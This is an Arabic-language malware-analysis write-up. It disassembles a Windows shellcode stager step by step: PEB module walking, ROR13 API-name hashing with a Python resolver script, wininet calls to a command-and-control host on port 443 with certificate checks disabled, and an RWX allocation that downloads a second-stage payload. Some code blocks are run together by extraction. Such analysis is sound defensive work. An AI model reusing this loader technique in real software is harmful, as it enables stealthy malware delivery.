بما أننا نتحدث عن عمليات دفع القيم إلى المكدس (stack pushes) - كان عليّ استخراجها بالترتيب المعاكس، مع التأكد من استخدام Little Endian (وهو الرمز < في الكود). هذا يطبع b'wininet\x00'، وهو اسم DLL لنظام Windows يُستخدم للاتصالات عبر الإنترنت. لاحظ أن push esp سيدفع عنوان أعلى المكدس، وهي طريقة جيدة للحصول على مؤشر إلى السلسلة wininet المنتهية بـ NUL. بالمتابعة، ندفع ثابتًا آخر (0x726774c) - هذا لا يُفكَّك إلى أي شيء ذي معنى، ثم نستدعي ebp. تذكّر أن ebp يشير إلى جزء من الكود عند الإزاحة 6 من بداية الشيلكود، لذا دعنا نفحص ذلك الجزء!

يبدأ الكود عند الإزاحة 6 بعدد من التعليمات المثيرة للاهتمام:```assembly 0x0000000000000006: 60 pushad
0x0000000000000007: 89 E5 mov ebp, esp 0x0000000000000009: 31 D2 xor edx, edx 0x000000000000000b: 64 8B 52 30 mov edx, dword ptr fs:[edx + 0x30] 0x000000000000000f: 8B 52 0C mov edx, dword ptr [edx + 0xc] 0x0000000000000012: 8B 52 14 mov edx, dword ptr [edx + 0x14] 0x0000000000000015: 8B 72 28 mov esi, dword ptr [edx + 0x28] 0x0000000000000018: 0F B7 4A 26 movzx ecx, word ptr [edx + 0x26]

root@kitploit:~
بعد مقدمة بسيطة (دفع جميع المسجّلات وإنشاء إطار مكدس جديد)، نرى أن `edx` يتم تصفيره (عبر عملية XOR ذاتية).
ثم يحصل `edx` على عنوان `fs:[0x30]`. هذا العنوان هو [كتلة بيئة العملية (PEB)](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb).
كتلة PEB هي كتلة في وضع المستخدم تحتوي على بيانات مفيدة من العملية يمكن استخدامها، بما في ذلك سطر الأوامر، حالة التصحيح، الوحدات المحمّلة وغيرها. وهي تحسين للأداء لتجنّب استدعاءات نواة النظام غير الضرورية.
نرى عدة عناوين تتم الإشارة إليها - في IDA يمكنك تحميل بنية PEB، لكن فقط من باب الاكتمال:
- الإزاحة `0xc` هي عضو `LDR` في `PEB`، ونوعه `PPEB_LDR_DATA`، وهو موثّق [هنا](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data).
- الإزاحة `0x14` في بنية `PEB_LDR_DATA` هي العضو `InMemoryOrderModuleList`، من النوع `LIST_ENTRY`. بنية `LIST_ENTRY` تُستخدم بكثرة في Windows، وعادةً ما تكون مجرّد ترويسة داخل بنية أكبر. وهذه الحالة ليست استثناءً - النوع الحقيقي للعناصر هو `LDR_DATA_TABLE_ENTRY`.
- عند الإزاحة `0x24` في `LDR_DATA_TABLE_ENTRY` يوجد عضو `FullDllName` من النوع `UNICODE_STRING`. هذا النوع يُستخدم بكثرة في Windows، وهو في الأساس حاوية لسلسلة بنمط Pascal - أول كلمتين (`WORDs`) تصفان طول السلسلة وسعة المخزن المؤقت الخاص بها. لذلك، عند `0x28` سنربط المخزن المؤقت الفعلي - والذي سيتم حفظه في مسجّل `esi`.
- مسجّل `ecx` يبعد بمقدار 2 بايت فقط عن مخزن اسم DLL - ويحتوي على طول السلسلة.

باختصار، هذا الجزء بأكمله يجلب `FullDllName` من إدخال الوحدة الحالي في PEB - مع حفظ المخزن المؤقت في `esi` وطوله في `ecx`.

## حساب تجزئة اسم الوحدة
دعونا نفحص التعليمتين التاليتين:```assembly
0x000000000000001c:  31 FF                      xor        edi, edi
0x000000000000001e:  31 C0                      xor        eax, eax
0x0000000000000020:  AC                         lodsb      al, byte ptr [esi]
0x0000000000000021:  3C 61                      cmp        al, 0x61
0x0000000000000023:  7C 02                      jl         0x27
0x0000000000000025:  2C 20                      sub        al, 0x20
0x0000000000000027:  C1 CF 0D                   ror        edi, 0xd
0x000000000000002a:  01 C7                      add        edi, eax
0x000000000000002c:  E2 F0                      loop       0x1e

تعليمة lodsb هي بالضبط السبب في حفظ السلسلة في esi، وسبب حفظ الطول في ecx، وسبب مسح علم الاتجاه. تقوم هذه التعليمة بقراءة أول حرف ANSI (بايت) يشير إليه esi، مع زيادة esi بمقدار واحد وحفظ النتيجة في سجل al. الأجزاء اللاحقة تحوّل الحرف من حرف صغير إلى كبير - إذا كان رمز ASCII أكبر من أو يساوي 0x61 ('a') فإنه يطرح 0x20. بعد التحويل إلى أحرف كبيرة، يتم تدوير سجل edi لليمين بمقدار 0xd ثم تضاف إليه قيمة الحرف. بما أن edi يتم تدويره - فإنه يفقد المعلومات حول الأحرف المضافة إليه لكنه يحتفظ بنوع من التجميع لها في قيمته. بعبارة أخرى - edi هو نوع من التجزئة (hash) للسلسلة التي يشير إليها esi. تعليمة loop، بالمناسبة، تستفيد بذكاء من حقيقة أن ecx هو العدّاد لطول السلسلة - فهي تنقص ecx بمقدار واحد وستنفذ التكرار التالي طالما أن ليس صفرًا. ترجمة هذا المنطق إلى بايثون أمر مباشر جدًا:```python def get_string_hash(s): v = 0 for c in s.upper(): v = (v >> 0xd) | ((v & 0x1fff) << 19) v = (v + ord(c)) & 0xffffffff return v

root@kitploit:~
## التنقل في جدول التصدير
لننتقل إلى التعليمتين التاليتين:```assembly
0x000000000000002e:  52                         push       edx
0x000000000000002f:  57                         push       edi
0x0000000000000030:  8B 52 10                   mov        edx, dword ptr [edx + 0x10]
0x0000000000000033:  8B 42 3C                   mov        eax, dword ptr [edx + 0x3c]
0x0000000000000036:  01 D0                      add        eax, edx
0x0000000000000038:  8B 40 78                   mov        eax, dword ptr [eax + 0x78]
0x000000000000003b:  85 C0                      test       eax, eax
0x000000000000003d:  74 4A                      je         0x89
0x000000000000003f:  01 D0                      add        eax, edx
0x0000000000000041:  50                         push       eax
0x0000000000000042:  8B 48 18                   mov        ecx, dword ptr [eax + 0x18]
0x0000000000000045:  8B 58 20                   mov        ebx, dword ptr [eax + 0x20]
0x0000000000000048:  01 D3                      add        ebx, edx

أولاً، يتم نسخ edx (الذي يحتوي على مدخل الوحدة الحالية) وedi (الذي يحتوي على تجزئة اسمه) احتياطيًا إلى المكدس. بعد ذلك، تتم الإشارة إلى edx عند الإزاحة 0x10. وبما أننا على بُعد 8 بايت داخل البنية (من النوع LDR_DATA_TABLE_ENTRY)، فإن 0x10 هو عضو DllBase في المدخل (0x18 - 0x8). حتى في الذاكرة، تمتلك الوحدة بنية PE، والإزاحة 0x3c تقابل مؤشر ترويسة PE في ترويسة DOS. يمكننا رؤية eax يُعامل كـ RVA لأنه يُضاف إلى edx نفسه - edx هو عنوان قاعدة الوحدة في الذاكرة. وبالمثل، فإن الإزاحة 0x78 من ذلك هي جدول تصدير PE، الذي يحتوي على معلومات حول الرموز المُصدَّرة (غالبًا الدوال). تُسمى بنية البيانات الخاصة به IMAGE_EXPORT_DIRECTORY وهي موثقة جيدًا. بافتراض أنها ليست صفرًا (والتي يتم عليها) - ندفع ونفك مرجعين فيها:

  • عند الإزاحة 0x18 نحصل على عضو NumberOfNames.
  • عند الإزاحة 0x20 نحصل على عضو AddressOfNames. إذن، باختصار، نفّذ هذا الجزء بعض التحليل لـ PE للحصول على جدول التصدير - وتحديدًا عدد الرموز المُصدَّرة (في ecx) وعنوانها في الذاكرة (في ebx).

متابعةً:```assembly 0x000000000000004a: E3 3C jecxz 0x88 0x000000000000004c: 49 dec ecx 0x000000000000004d: 8B 34 8B mov esi, dword ptr [ebx + ecx*4] 0x0000000000000050: 01 D6 add esi, edx

root@kitploit:~
تقفز تعليمة `jecxz` إذا كان `ecx` صفراً - يحدث هذا إذا لم تكن هناك أسماء مُصدَّرة، لكنه يلمح أيضاً إلى أن هذا الفحص سيحدث في حلقة.
حقيقة أننا نُنقص `ecx` تؤكد هذا الظن - نتوقع تكراراً عبر جميع الرموز المُصدَّرة لمطابقة شرط معين.
نرى `ecx` مضروباً في 4 ومضافاً إلى `ebx` - جميع العناصر في `AddressOfNames` هي عناوين نسبية (RVAs) لأسماء الرموز، وبالتالي يشير `esi` في النهاية إلى اسم مُصدَّر.```assembly
0x0000000000000052:  31 FF                      xor        edi, edi
0x0000000000000054:  31 C0                      xor        eax, eax
0x0000000000000056:  AC                         lodsb      al, byte ptr [esi]
0x0000000000000057:  C1 CF 0D                   ror        edi, 0xd
0x000000000000005a:  01 C7                      add        edi, eax
0x000000000000005c:  38 E0                      cmp        al, ah
0x000000000000005e:  75 F4                      jne        0x54

يشبه هذا الجزء نفس حساب التجزئة الذي رأيناه سابقًا، لكن بدلاً من استخدام ecx كعداد - فإنه يحسب التجزئة حتى الوصول إلى مُنهي NUL:

  • أولاً، يتم تعيين edi إلى صفر (عبر عملية XOR الذاتية). وكما في السابق - سيحتفظ edi بقيمة التجزئة.
  • يتم تعيين سجل eax إلى صفر أيضًا. بايته السفلي (al) سيحتوي على رمز ASCII للحرف الحالي في كل تكرار.
  • باستخدام lodsb يضبط الكود al ليكون البايت المشار إليه بواسطة esi ويزيد esi إلى البايت التالي.
  • وكما في السابق، يتم تدوير edi لليمين 0xd مرة ثم تُضاف إليه قيمة ASCII للحرف الحالي.
  • المقارنة بين al وah في الواقع تقارن al بصفر (مُنهي NUL)، حيث لا توجد أي عملية هنا تلمس باقي بايتات eax وقد تأكدنا من أنها صفر.
  • بدلاً من استخدام تعليمة loop (التي تتفاعل مع )، نعود ببساطة (باستخدام ) - طالما لم نواجه مُنهي NUL.

نتوقع أن تقوم الأجزاء التالية بنوع من المقارنة بين التجزئات المختلفة التي حسبناها (اسم الوحدة، اسم الرمز) والمدخلات التي تلقيناها:```assembly 0x0000000000000060: 03 7D F8 add edi, dword ptr [ebp - 8] 0x0000000000000063: 3B 7D 24 cmp edi, dword ptr [ebp + 0x24] 0x0000000000000066: 75 E2 jne 0x4a 0x0000000000000068: 58 pop eax 0x0000000000000069: 8B 58 24 mov ebx, dword ptr [eax + 0x24] 0x000000000000006c: 01 D3 add ebx, edx 0x000000000000006e: 66 8B 0C 4B mov cx, word ptr [ebx + ecx2] 0x0000000000000072: 8B 58 1C mov ebx, dword ptr [eax + 0x1c] 0x0000000000000075: 01 D3 add ebx, edx 0x0000000000000077: 8B 04 8B mov eax, dword ptr [ebx + ecx4] 0x000000000000007a: 01 D0 add eax, edx 0x000000000000007c: 89 44 24 24 mov dword ptr [esp + 0x24], eax 0x0000000000000080: 5B pop ebx 0x0000000000000081: 5B pop ebx 0x0000000000000082: 61 popad
0x0000000000000083: 59 pop ecx 0x0000000000000084: 5A pop edx 0x0000000000000085: 51 push ecx 0x0000000000000086: FF E0 jmp eax

root@kitploit:~
حسنًا، يشير `ebp-8` تمامًا إلى قيمة `edi` القديمة التي دفعناها - والتي كانت تحتوي على هاش اسم الوحدة المضبوط.
نضيف قيمة الهاش تلك إلى قيمة هاش الاسم المُصدَّر، ونقارن الناتج بـ DWORD الموجود عند `ebp+0x24`.
بسبب تعليمة `pushad` السابقة، دفعنا 8 مسجلات، لذا يشير هذا مباشرةً إلى آخر قيمة غامضة تم دفعها في البداية (0x726774c)!
إذا لم تكونا متساويتين - نقفز إلى الإزاحة `0x4a` للانتقال إلى الرمز التالي في نفس الوحدة.
خلاف ذلك، نستعيد جدول التصدير إلى `eax`، ونفك مرجع الإزاحة 0x24 بايت (وهو جدول الأرقام الترتيبية) ونضيفه إلى القاعدة `ebx`.
يحتوي جدول الأرقام الترتيبية على 2 بايت لكل مدخل - وبما أن `ecx` هو رقم المدخل، فإن `ebx + ecx*2` هو القيمة الترتيبية.
السطران التاليان واضحان: `0x1c` في جدول التصدير هو عنوان الدوال المُصدَّرة، و`ebx + ecx*4` يمثل عنوان الدالة المُفهرَس بواسطة `ecx`.
كما يمكن ملاحظته، يتم حفظ هذه القيمة في `eax` ويتم استدعاؤها في النهاية:
- حفظ قيمة `eax` في `esp + 0x24`، وهو في هذه المرحلة الزمنية بالضبط المكان الذي حُفظ فيه مسجل `eax` في تعليمة `pushad`. يضمن هذا عدم فقدان قيمة `eax` عند تشغيل `popad`.
- القيام بعمليتي `pop` وهميتين إلى `ebx` للتخلص من عمليتي الدفع السابقتين (الهاش المحسوب ومدخل الوحدة).
- تنفيذ `popad`، الذي يستعيد جميع مسجلات الأغراض العامة من المكدس، لكنه يحفظ `eax` بسبب تجاوزنا السابق. في هذه المرحلة يكون المكدس والمسجلات مساويين لحالتهما الأصلية عند الدخول إلى الدالة، باستثناء `eax` الذي يمثل مؤشر الدالة المطلوب.
- إخراج قيمة الإرجاع (المدفوعة من `call ebp`) إلى `ecx` والهاش المطلوب إلى `edx`، ثم دفع `ecx` مرة أخرى، مما يتخلص فعليًا من قيمة الهاش الغامضة في المكدس.
- تنفيذ `jmp eax` عند هذه النقطة ينهي الدالة - الدالة التي يشير إليها `eax` ستعمل، وعندما تعود ستستخدم قيمة الإرجاع الأصلية.

الجزء الأخير من هذا المنطق الطويل يواصل الانتقال إلى الوحدة التالية:```assembly
0x0000000000000088:  58                         pop        eax
0x0000000000000089:  5F                         pop        edi
0x000000000000008a:  5A                         pop        edx
0x000000000000008b:  8B 12                      mov        edx, dword ptr [edx]
0x000000000000008d:  EB 86                      jmp        0x15

سيعمل هذا أساسًا على تنظيف الدفعات السابقة والانتقال إلى الإزاحة 0x15، حيث سيتم استخدام الوحدة النمطية التالية.

باختصار - فجميع شيلكود بين الإزاحة 6 و0x8d (شاملًا) يتوقع تمرير الوسائط إلى دالة، متبوعة بـ hash مخصص. عندما تتم مطابقة الـ hash - يتم استدعاء الدالة المعنية. إنها بالتأكيد طريقة رائعة لتجنب وجود سلاسل أسماء الدوال في كودك!

نظرًا لأننا سنقوم بفحص هذه الـ hashes كثيرًا، من الجيد أتمتة عملنا. لنعد استخدام سكربتات Python التي كتبناها سابقًا ونكتب دالة تبحث عن hash معين:```python import os import pefile import sys

BASE_DIR = os.path.join(os.environ['WINDIR'], 'system32')

def get_string_hash(s): v = 0 for c in s: v = (v >> 0xd) | ((v & 0x1fff) << 19) v = (v + ord(c)) & 0xffffffff return v

def get_lib_hash(s): return get_string_hash(''.join([ i + '\x00' for i in (s + '\x00').upper() ]))

def get_sym_hash(s): return get_string_hash(s + '\x00')

def find_by_hash(hash, dll_postfix): for dll_name in os.listdir(BASE_DIR): if not dll_name.endswith(dll_postfix): continue dll_path = os.path.join(BASE_DIR, dll_name) dll_hash = get_lib_hash(dll_name) pe = pefile.PE(dll_path) if pe is None or not hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'): continue syms = [ sym.name.decode() for sym in pe.DIRECTORY_ENTRY_EXPORT.symbols if sym.name is not None ] for s in syms: if (get_sym_hash(s) + dll_hash) & 0xFFFFFFFF == hash: print('%s!%s' % (dll_name, s)) return print('Coult not find hash!')

if name == 'main': if len(sys.argv) > 1: dll_postfix = '.dll' if len(sys.argv) == 2 else sys.argv[2] num = int(sys.argv[1], 16) if 'x' in sys.argv[1] else int(sys.argv[1]) find_by_hash(num, dll_postfix)

root@kitploit:~
على سبيل المثال، عند تشغيل `get_hash.py 0x726774c kernel32.dll` نحصل على الناتج `kernel32.dll!LoadLibraryA`!

## تحليل المنطق الرئيسي
الآن بعد أن فهمنا كيفية عمل آلية التجزئة بأكملها، حان وقت اصطياد الهاشات!
لنعد إلى المنطق الرئيسي - قلنا إن سلسلة `wininet` تُدفع إلى المكدس - والآن نعلم أن `LoadLibraryA` تُستدعى معها.
الأجزاء التالية الآن:```assembly
0x00000000000000a2:  E8 00 00 00 00             call       0xa7
0x00000000000000a7:  31 FF                      xor        edi, edi
0x00000000000000a9:  57                         push       edi
0x00000000000000aa:  57                         push       edi
0x00000000000000ab:  57                         push       edi
0x00000000000000ac:  57                         push       edi
0x00000000000000ad:  57                         push       edi
0x00000000000000ae:  68 3A 56 79 A7             push       0xa779563a
0x00000000000000b3:  FF D5                      call       ebp

الاستدعاء call هناك يدفع عنوان الإرجاع إلى المكدس (0xa7). ثم، نقوم بتصفير edi ودفع 5 أصفار إلى المكدس. إن 0xa779563a هو تجزئة أخرى، هذه المرة في wininet.dll، حيث أن get_hash.py 0xa779563a يُنتج wininet.dll!InternetOpenA. لذلك، يستدعي الكود InternetOpenA مع جميع الأصفار وNULL. هناك بضع قفزات تنتهي باستدعاء يعود إلى الإزاحة 0xba:```assembly 0x00000000000000b5: E9 A4 00 00 00 jmp 0x15e 0x00000000000000ba: 5B pop ebx ... 0x000000000000015e: E9 C9 01 00 00 jmp 0x32c ... 0x000000000000032c: E8 89 FD FF FF call 0xba 0x0000000000000331: 68 75 71 65 69 push 0x69657175 0x0000000000000336: E6 outs dx, byte ptr ds:[esi] ...

root@kitploit:~
الفكرة هي أنه عند العودة - سيكون لدينا عنوان الإزاحة `0x331` مدفوعًا على المكدس.
أضفت بضع تعليمات تجميع عند هذا العنوان - لاحظ أن `outs`، على سبيل المثال، ليست شيئًا نتوقعه.
فحص تلك البايتات *كبيانات* يعطي قصة مختلفة:```python
binascii.unhexlify('68757165696e632e636f6d005d44fd6d')

يُنتج هذا السلسلة huqeinc.com (مع إنهاء NUL)، تليها 4 بايتات غير مفهومة. لذا، عندما نعود إلى العنوان 0xba نقوم بعملية pop إلى ebx، والتي ستشير إلى تلك السلسلة. لنفحص الأجزاء التي تلي هذه التعليمة:```assembly 0x00000000000000bb: 31 C9 xor ecx, ecx 0x00000000000000bd: 51 push ecx 0x00000000000000be: 51 push ecx 0x00000000000000bf: 6A 03 push 3 0x00000000000000c1: 51 push ecx 0x00000000000000c2: 51 push ecx 0x00000000000000c3: 68 BB 01 00 00 push 0x1bb 0x00000000000000c8: 53 push ebx 0x00000000000000c9: 50 push eax 0x00000000000000ca: 68 57 89 9F C6 push 0xc69f8957 0x00000000000000cf: FF D5 call ebp

root@kitploit:~
القيمة `0xc69f8957` هي هاش آخر، هذه المرة لـ `wininet.dll!InternetConnectA`.
تستقبل تلك الدالة الكثير من المعاملات، لكننا في الأساس نحصل على: `InternetConnectA(hInternet, "huqeinc.com", 443, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL)`.
لاحظ أن `INTERNET_SERVICE_HTTP` قيمتها 3، و`0x1bb` هي 443، و`eax` يحتوي على النتيجة من `InternetOpenA`.

بالمضي قدمًا، نرى مجموعة مشابهة من القفزات بعد حفظ نتيجة `InternetConnectA`:```assembly
0x00000000000000d1:  50                         push       eax
0x00000000000000d2:  E9 8C 00 00 00             jmp        0x163
0x00000000000000d7:  5B                         pop        ebx
0x00000000000000d8:  31 D2                      xor        edx, edx
0x00000000000000da:  52                         push       edx
0x00000000000000db:  68 00 32 C0 84             push       0x84c03200
0x00000000000000e0:  52                         push       edx
0x00000000000000e1:  52                         push       edx
0x00000000000000e2:  52                         push       edx
0x00000000000000e3:  53                         push       ebx
0x00000000000000e4:  52                         push       edx
0x00000000000000e5:  50                         push       eax
0x00000000000000e6:  68 EB 55 2E 3B             push       0x3b2e55eb
0x00000000000000eb:  FF D5                      call       ebp
...
0x0000000000000163:  E8 6F FF FF FF             call       0xd7
0x0000000000000168:  2F                         das        
0x0000000000000169:  51                         push       ecx
0x000000000000016a:  70 59                      jo         0x1c5
...

كما في السابق، التعليمات التي تلي الاستدعاء تبدو أقل منطقية، لذا نشك في أنه ينبغي تفسيرها كبيانات. في الواقع، تقوم بترميز السلسلة المنتهية بـ NUL /QpYB، وهذا ليس مفيدًا للغاية. نلاحظ أنه عندما نعود إلى الإزاحة 0xd7، يتم دفع مؤشر إلى تلك السلسلة إلى المكدس. بالعودة إلى 0xd7، يتم إخراج ذلك العنوان إلى ebx. لفهم معنى تلك البيانات، دعنا نكتشف أي دالة يتم استدعاؤها. ينتج عن التجزئة 0x3b2e55eb الدالة wininet.dll!HttpOpenRequestA، والتي تأخذ أيضًا العديد من المعاملات. معظم تلك المعاملات ستكون قيمًا فارغة (NULL) (بسبب دفع edx)، باستثناء ما يلي:

  • hConnect هو eax، وهو ناتج InternetConnectA.
  • lpszObjectName هو السلسلة التي رأيناها (/QpYB).
  • dwFlags تحتوي على القيمة 0x84c03200، والتي وفقًا لـ هذا، هي INTERNET_FLAG_NO_UI | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_SECURE | INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_RELOAD.

تنتهي التعليمات القليلة التالية باستدعاء API آخر:```assembly 0x00000000000000ed: 89 C6 mov esi, eax 0x00000000000000ef: 83 C3 50 add ebx, 0x50 0x00000000000000f2: 68 80 33 00 00 push 0x3380 0x00000000000000f7: 89 E0 mov eax, esp 0x00000000000000f9: 6A 04 push 4 0x00000000000000fb: 50 push eax 0x00000000000000fc: 6A 1F push 0x1f 0x00000000000000fe: 56 push esi 0x00000000000000ff: 68 75 46 9E 86 push 0x869e4675 0x0000000000000104: FF D5 call ebp

root@kitploit:~
بعد نسخ النتائج احتياطيًا من `HttpOpenRequestA` باستخدام `esi`، نضيف 0x50 إلى `ebx`.
نظرًا لأن `ebx` مضمون الاستمرار بين الاستدعاءات، فإنه سيشير الآن إلى الإزاحة `0x1b8` في الـ shellcode، والتي عند تقديمها كنص تبدو هكذا: `User-Agent: Microsoft-CryptoAPI/6.1\r\n`.
يحلّ الهاش `0x869e4675` إلى الـ API `wininet.dll!InternetSetOptionA`، والذي سيستقبل الوسائط التالية:
- مقبض الطلب الذي تم حفظه في `esi`.
- القيمة `0x1f` كـ `dwOption`، وهي `INTERNET_OPTION_SECURITY_FLAGS` وفقًا لـ [هذا](https://learn.microsoft.com/en-us/windows/win32/wininet/option-flags).
- معامل `lpBuffer` سيكون مؤشرًا إلى القيمة `0x3380`، والتي ترمّز أعلام الأمان للطلب: `WINHTTP_FLAG_SECURE_PROTOCOL_TLS1 | SECURITY_FLAG_IGNORE_UNKNOWN_CA | WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_1 | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID`.
- `dwBufferLength` هو 4، حيث تم تعيين DWORD واحد فقط كـ `lpBuffer`.

سيجعل هذا الاتصال يستخدم TLS مع تجاهل جميع أخطاء الشهادات وما إلى ذلك.

فيما يلي الأجزاء التالية:```assembly
0x0000000000000106:  5F                         pop        edi
0x0000000000000107:  31 FF                      xor        edi, edi
0x0000000000000109:  57                         push       edi
0x000000000000010a:  57                         push       edi
0x000000000000010b:  6A FF                      push       -1
0x000000000000010d:  53                         push       ebx
0x000000000000010e:  56                         push       esi
0x000000000000010f:  68 2D 06 18 7B             push       0x7b18062d
0x0000000000000114:  FF D5                      call       ebp
0x0000000000000116:  85 C0                      test       eax, eax
0x0000000000000118:  0F 84 CA 01 00 00          je         0x2e8
0x000000000000011e:  31 FF                      xor        edi, edi
0x0000000000000120:  85 F6                      test       esi, esi
0x0000000000000122:  74 04                      je         0x128
0x0000000000000124:  89 F9                      mov        ecx, edi
0x0000000000000126:  EB 09                      jmp        0x131
0x0000000000000128:  68 AA C5 E2 5D             push       0x5de2c5aa
0x000000000000012d:  FF D5                      call       ebp
0x000000000000012f:  89 C1                      mov        ecx, eax
0x0000000000000131:  68 45 21 5E 31             push       0x315e2145
0x0000000000000136:  FF D5                      call       ebp
0x0000000000000138:  31 FF                      xor        edi, edi
0x000000000000013a:  57                         push       edi
0x000000000000013b:  6A 07                      push       7
0x000000000000013d:  51                         push       ecx
0x000000000000013e:  56                         push       esi
0x000000000000013f:  50                         push       eax
0x0000000000000140:  68 B7 57 E0 0B             push       0xbe057b7
0x0000000000000145:  FF D5                      call       ebp
0x0000000000000147:  BF 00 2F 00 00             mov        edi, 0x2f00
0x000000000000014c:  39 C7                      cmp        edi, eax
0x000000000000014e:  75 07                      jne        0x157
0x0000000000000150:  58                         pop        eax
0x0000000000000151:  50                         push       eax
0x0000000000000152:  E9 7B FF FF FF             jmp        0xd2
0x0000000000000157:  31 FF                      xor        edi, edi
0x0000000000000159:  E9 91 01 00 00             jmp        0x2ef

يوجد pop وهمي لتنظيف الدفع الزائد من قبل (قمنا بدفع خيارات الأمان إلى المكدس). بما أننا نرى تجزئة أخرى (0x7b18062d)، فإننا نحل واجهة برمجة التطبيقات الخاصة بها فورًا: wininet.dll!HttpSendRequestA. هناك بعض الأجزاء الجديرة بالملاحظة هنا:

  • وكيل المستخدم المحفوظ سابقًا في ebx يُستخدم كالوسيط الثاني للدالة.
  • بعد استدعاء الدالة، يوجد فحص لمعرفة ما إذا نجحت - إذا فشلت - نقفز إلى الإزاحة 0x2e8.
  • التحقق من كون esi يساوي صفرًا هو في الحقيقة تحقق من أن مقبض الطلب ليس NULL. هذا غريب بعض الشيء لأننا استدعينا بالفعل HttpSendRequestA عند هذه النقطة، ولكن مع ذلك - إذا كان كذلك، نقفز إلى 0x128.
  • عند الإزاحة 0x128 نستخدم التجزئة 0x5de2c5aa، وهي kernel32.dll!GetLastError، ونحفظ نتيجتها في ecx.
  • عند الإزاحة 0x131 نستخدم التجزئة 0x315e2145، وهي user32.dll!GetDesktopWindow، ثم نستخدم تلك النتيجة مع التجزئة 0xbe057b7، وهي .

الفكرة هي ببساطة استدعاء InternetErrorDlg ومعرفة ما إذا كانت إعادة المحاولة مطلوبة. لنتذكر أيضًا: إذا فشل HttpSendRequestA - نقفز إلى 0x2e8. إذا نجح ولم تكن إعادة المحاولة مطلوبة - نقفز إلى 0x2ef. بفحص الإزاحة 0x2e8 (مسار الفشل):```assembly 0x00000000000002e8: 68 F0 B5 A2 56 push 0x56a2b5f0 0x00000000000002ed: FF D5 call ebp

root@kitploit:~
تُترجم قيمة التجزئة إلى `kernel32.dll!ExitProcess`، لذلك عند الفشل - ننهي العملية.
قد يُترجم هذا الجزء بأكمله على النحو التالي:```c
if (!HttpSendRequestA(hRequest, "User-Agent: Microsoft-CryptoAPI/6.1\r\n", -1, NULL, 0))
{
	ExitProcess(0);
}
if (ERROR_INTERNET_FORCE_RETRY == InternetErrorDlg(GetDesktopWindow(), hRequest, NULL == hRequest ? GetLastError() : 0, FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA, NULL))
{
	goto lblRetryConn;
}
...

تشغيل شيلكود آخر

دعونا نفحص ما يحدث عند الإزاحة 0x2ef:```assembly 0x00000000000002ef: 6A 40 push 0x40 0x00000000000002f1: 68 00 10 00 00 push 0x1000 0x00000000000002f6: 68 00 00 40 00 push 0x400000 0x00000000000002fb: 57 push edi 0x00000000000002fc: 68 58 A4 53 E5 push 0xe553a458 0x0000000000000301: FF D5 call ebp 0x0000000000000303: 93 xchg ebx, eax 0x0000000000000304: B9 00 00 00 00 mov ecx,0x0 0x0000000000000309: 01 D9 add ecx,ebx 0x000000000000030b: 51 push ecx 0x000000000000030c: 53 push ebx 0x000000000000030d: 89 E7 mov edi, esp 0x000000000000030f: 57 push edi 0x0000000000000310: 68 00 20 00 00 push 0x2000 0x0000000000000315: 53 push ebx 0x0000000000000316: 56 push esi 0x0000000000000317: 68 12 96 89 E2 push 0xe2899612 0x000000000000031c: FF D5 call ebp 0x000000000000031e: 85 C0 test eax, eax 0x0000000000000320: 74 C6 je 0x2e8

root@kitploit:~
هل يمكنك تخمين ما هو الهاش `0xe553a458` استنادًا إلى تلك الثوابت الأخرى فقط؟
- `0x40` هو `PAGE_EXECUTEREADWRITE` كما رأينا سابقًا.
- `0x1000` هو `MEM_COMMIT`.
في الواقع، هذا الهاش يطابق `kernel32.dll!VirtualAlloc`، ونقوم ببساطة بتخصيص كتلة RWX بحجم `0x400000`.
من المهم تخمين منطق المهاجم هنا - نظرًا لأن لدينا اتصالًا بالإنترنت بخادم C2 ما، ونقوم الآن بتخصيص صفحة RWX - فإننا نتوقع استلام حمولة أخرى!

بعد ذلك الاستدعاء، يتم حفظ مخزن الذاكرة الناتج في `ebx` و`ecx`.
عند الإزاحة `0x30b` نبدأ مجموعة أخرى من عمليات push على المكدس لاستدعاء دالة - هذه المرة بالهاش `0xe2899612` (`wininet.dll!InternetReadFile`).
تحدد عمليات الدفع الوسائط (بترتيب عكسي):
- `hFile` هو `esi`، وهو طلب الإنترنت الخاص بنا (من النوع `HINTERNET`).
- `lpBuffer` هو `ebx` - المخزن المخصص حديثًا لدينا.
- `dwNumberOfBytesToRead` مضبوط على `0x2000`.
- `lpdwNumberOfBytesRead` هو `edi`، والذي يشير إلى مساحة إضافية خصصناها على المكدس.

أخيرًا، إذا فشلت هذه الدالة، نقفز إلى `0x2e8`، والتي ستستدعي مرة أخرى `ExitProcess`.
لاحظ أن هناك تعليمة push إضافية لـ `ecx` (الإزاحة `0x30b`) - هذا يعني أننا قمنا بعمل نسخة احتياطية من عنوان المخزن المخصص لدينا.

لقد اقتربنا من النهاية! دعونا نفحص آخر تعليماتين:```assembly
0x0000000000000322:    8B 07                      mov        eax, dword ptr [edi]
0x0000000000000324:    01 C3                      add        ebx, eax
0x0000000000000326:    85 C0                      test       eax, eax
0x0000000000000328:    75 E5                      jne        0x30f
0x000000000000032a:    58                         pop        eax
0x000000000000032b:    C3                         ret

